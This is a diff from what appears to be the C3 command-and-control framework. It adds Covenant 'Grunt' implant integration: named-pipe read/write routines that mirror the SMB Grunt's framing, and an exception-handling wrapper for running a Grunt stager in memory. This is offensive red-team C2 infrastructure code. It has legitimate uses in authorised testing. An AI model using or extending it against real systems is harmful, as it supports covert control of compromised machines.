/// @param arguments view of arguments prepared by Connector.
|
||||
Grunt(ByteView arguments);
|
||||
|
||||
/// Sending callback implementation.
|
||||
/// @param packet to send to the Implant.
|
||||
void OnCommandFromConnector(ByteView packet) override;
|
||||
|
||||
/// Callback that handles receiving from the outside of the C3 network.
|
||||
/// @returns ByteVector data received from beacon.
|
||||
ByteVector OnReceiveFromPeripheral() override;
|
||||
|
||||
/// Return json with commands.
|
||||
/// @return ByteView Commands description in JSON format.
|
||||
static ByteView GetCapability();
|
||||
|
||||
private:
|
||||
|
||||
/// Object used to communicate with Grunt.
|
||||
/// Optional is used to perform many trails of staging in constructor.
|
||||
/// Must contain object if constructor call was successful.
|
||||
std::optional<WinTools::AlternatingPipe> m_Pipe;
|
||||
|
||||
/// Used to synchronize access to underlying implant.
|
||||
std::mutex m_Mutex;
|
||||
|
||||
/// Used to synchronize read/write.
|
||||
std::condition_variable m_ConditionalVariable;
|
||||
|
||||
/// Used to support beacon chunking data.
|
||||
bool m_ReadingState = true;
|
||||
};
|
||||
}
|
|
@ -125,9 +125,19 @@ MWR::ByteVector MWR::WinTools::ReadPipe::Read()
|
|||
MWR::WinTools::DuplexPipe::DuplexPipe(ByteView inputPipeName, ByteView outputPipeName)
|
||||
: m_InputPipe(inputPipeName), m_OutputPipe(outputPipeName)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
/* write a frame to a file */
|
||||
void write_frame(HANDLE my_handle, char* buffer, DWORD length) {
|
||||
DWORD wrote = 0;
|
||||
WriteFile(my_handle, (void*)& length, 4, &wrote, NULL);
|
||||
WriteFile(my_handle, buffer, length, &wrote, NULL);
|
||||
}
|
||||
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
MWR::ByteVector MWR::WinTools::DuplexPipe::Read()
|
||||
{
|
||||
|
@ -152,6 +162,39 @@ MWR::WinTools::AlternatingPipe::AlternatingPipe(ByteView pipename)
|
|||
throw std::runtime_error{ OBF("Couldn't create synchronization event") };
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
MWR::ByteVector MWR::WinTools::AlternatingPipe::ReadCov()
|
||||
{
|
||||
DWORD temp = 0, total = 0;
|
||||
if (WaitForSingleObject(m_Event.get(), 0) != WAIT_OBJECT_0)
|
||||
return{};
|
||||
|
||||
//The SMB Grunt writes the size of the chunk in a loop like the below, mimic that here.
|
||||
BYTE size[4] = { 0 };
|
||||
int totalReadBytes = 0;
|
||||
for(int i = 0; i < 4; i++)
|
||||
ReadFile(m_Pipe.get(), size + i, 1, &temp, NULL);
|
||||
|
||||
|
||||
DWORD32 len = (size[0] << 24) + (size[1] << 16) + (size[2] << 8) + size[3];
|
||||
|
||||
ByteVector buffer;
|
||||
buffer.resize(len);
|
||||
|
||||
//Now read the actual data
|
||||
DWORD read = 0;
|
||||
temp = 0;
|
||||
while (total < len) {
|
||||
bool didRead = ReadFile(m_Pipe.get(), (LPVOID)& buffer[read], len - total, &temp,
|
||||
NULL);
|
||||
total += temp;
|
||||
read += temp;
|
||||
}
|
||||
|
||||
return buffer;
|
||||
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
MWR::ByteVector MWR::WinTools::AlternatingPipe::Read()
|
||||
{
|
||||
|
@ -175,6 +218,40 @@ MWR::ByteVector MWR::WinTools::AlternatingPipe::Read()
|
|||
return buffer;
|
||||
}
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
size_t MWR::WinTools::AlternatingPipe::WriteCov(ByteView data)
|
||||
{
|
||||
DWORD written;
|
||||
int start = 0, size = data.size();
|
||||
int end = 0;
|
||||
|
||||
uint32_t len = static_cast<uint32_t>(data.size());
|
||||
BYTE* bytes = (BYTE*)& len;
|
||||
DWORD32 chunkLength = (bytes[0] << 24) + (bytes[1] << 16) + (bytes[2] << 8) + bytes[3];
|
||||
|
||||
//Write the length first
|
||||
WriteFile(m_Pipe.get(), &chunkLength, 4, nullptr, nullptr);
|
||||
|
||||
//We have to write in chunks of 1024, this is mirrored in how the Grunt reads.
|
||||
const uint8_t* d = &data.front();
|
||||
while (size > 1024)
|
||||
{
|
||||
WriteFile(m_Pipe.get(), d+start, 1024, &written, nullptr);
|
||||
start += 1024;
|
||||
size -= 1024;
|
||||
}
|
||||
WriteFile(m_Pipe.get(), d + start, size, &written, nullptr);
|
||||
start += size;
|
||||
|
||||
if (start != data.size())
|
||||
throw std::runtime_error{ OBF("Write pipe failed ") };
|
||||
|
||||
// Let Read() know that the pipe is ready to be read.
|
||||
SetEvent(m_Event.get());
|
||||
|
||||
return data.size();
|
||||
}
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
size_t MWR::WinTools::AlternatingPipe::Write(ByteView data)
|
||||
{
|
||||
|
@ -192,3 +269,4 @@ size_t MWR::WinTools::AlternatingPipe::Write(ByteView data)
|
|||
|
||||
return data.size();
|
||||
}
|
||||
|
||||
|
|
|
@ -19,9 +19,15 @@ namespace MWR::WinTools
|
|||
/// @throws std::runtime_error on any WinAPI errors occurring during writing to the named pipe.
|
||||
ByteVector Read();
|
||||
|
||||
///Covenant specific implementation of Read
|
||||
ByteVector ReadCov();
|
||||
|
||||
/// Retrieves data from the pipe.
|
||||
/// @throws std::runtime_error on any WinAPI errors occurring during reading from the named pipe.
|
||||
size_t Write(ByteView data);
|
||||
|
||||
///Covenant specific implementation of Write
|
||||
size_t WriteCov(ByteView data);
|
||||
private:
|
||||
/// Name of the Pipe used to communicate with the implant.
|
||||
std::string m_PipeName;
|
||||
|
@ -107,6 +113,7 @@ namespace MWR::WinTools
|
|||
/// @throws std::runtime_error if conection was closed from other side during transmision.
|
||||
ByteVector Read();
|
||||
|
||||
|
||||
/// Connects pipe and writes whole message to pipe.
|
||||
///
|
||||
/// @param data to be written.
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
#include "StdAfx.h"
|
||||
#include "StructuredExceptionHandling.h"
|
||||
|
||||
|
||||
int MWR::WinTools::StructuredExceptionHandling::Filter(unsigned int code, struct _EXCEPTION_POINTERS* ep)
|
||||
{
|
||||
return EXCEPTION_EXECUTE_HANDLER;
|
||||
|
@ -20,6 +21,21 @@ DWORD WINAPI MWR::WinTools::StructuredExceptionHandling::SehWrapper(CodePointer
|
|||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI MWR::WinTools::StructuredExceptionHandling::SehWrapperCov(PGRUNTARGS args)
|
||||
{
|
||||
__try
|
||||
{
|
||||
//this is kind of gross but the only way I could get it to work.
|
||||
args->func(args->gruntStager, args->len);
|
||||
}
|
||||
__except (Filter(GetExceptionCode(), GetExceptionInformation()))
|
||||
{
|
||||
// Nothing
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void MWR::WinTools::StructuredExceptionHandling::SehWrapper(std::function<void()> const& func, std::function<void()> const& closure)
|
||||
{
|
||||
__try
|
||||
|
@ -31,3 +47,4 @@ void MWR::WinTools::StructuredExceptionHandling::SehWrapper(std::function<void()
|
|||
closure();
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -14,6 +14,14 @@ namespace MWR::WinTools::StructuredExceptionHandling
|
|||
/// @returns 0.
|
||||
DWORD WINAPI SehWrapper(CodePointer func);
|
||||
|
||||
/// Arguments to be passed to RuntimeV4Host
|
||||
typedef struct gruntArgs { std::function<void(PBYTE, size_t)> func; PBYTE gruntStager; size_t len; }GRUNTARGS, * PGRUNTARGS;
|
||||
|
||||
/// Covenant specific SEH Wrapper
|
||||
/// @param args a struct containing the arguments for the execution of an SMB grunt in memory.
|
||||
/// @returns 0
|
||||
DWORD WINAPI SehWrapperCov(PGRUNTARGS args);
|
||||
|
||||
/// Wrap call in SEH handler
|
||||
/// @param func - function to call
|
||||
/// @param closure - handler called when func throws SE
|
||||
|
@ -24,3 +32,4 @@ namespace MWR::WinTools
|
|||
{
|
||||
namespace SEH = StructuredExceptionHandling;
|
||||
}
|
||||
|
||||
|
|
Loading…
Reference in New Issue